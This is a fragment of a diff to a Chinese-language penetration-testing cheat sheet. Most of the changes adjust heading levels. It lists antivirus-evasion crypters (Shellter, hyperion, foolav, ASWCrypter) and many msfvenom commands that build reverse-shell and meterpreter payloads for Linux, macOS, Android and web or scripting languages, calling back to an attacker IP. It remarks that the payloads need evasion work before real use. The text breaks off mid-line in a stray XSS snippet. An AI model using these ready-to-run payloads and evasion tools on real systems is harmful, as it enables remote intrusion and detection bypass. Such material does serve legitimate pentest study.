`/etc/ld.so.preload` - [ASWCrypter](https://github.com/AbedAlqaderSwedan1/ASWCrypter) - [Shellter](https://www.shellterproject.com/) - [foolav](https://github.com/hvqzao/foolav) -- [shellter](https://www.shellterproject.com/download/) - [hyperion](https://github.com/nullsecuritynet/tools/tree/master/binary/hyperion) ```bash unzip hyperion.zip @@ -927,7 +936,7 @@ strace 命令 id 的时候可以发现有预先去读取 `/etc/ld.so.preload` --- -## msfvenom +### msfvenom msfvenom 可用于生成正向或反向 shell 的 payload,配合 meterpreter 使用进行渗透测试相当方便,不过在实际使用时,需要进行相应的免杀处理 @@ -948,7 +957,7 @@ set ExitOnSession false exploit -j -z ``` -### binaries +#### binaries **linux** ```bash @@ -982,7 +991,7 @@ msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 msfvenom -p android/meterpreter/shell_reverse_tcp lhost=your-ip lport=your-port -f apk > shell.apk ``` -### web +#### web **php** ```bash @@ -1022,7 +1031,7 @@ msfvenom -p linux/x86/shell_reverse_tcp lhost=your-ip lport=your-port CMD=/bin/b msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.js ``` -### scripting +#### scripting **python** ```bash @@ -1070,7 +1079,7 @@ msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payl msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.lua ``` -### shellcode +#### shellcode **linux based shellcode** ```bash @@ -1089,8 +1098,44 @@ msfvenom -p osx/x86/shell_reverse_tcp lhost=your-ip lport=your-port -f alert('xss'); `,但是你可以用 `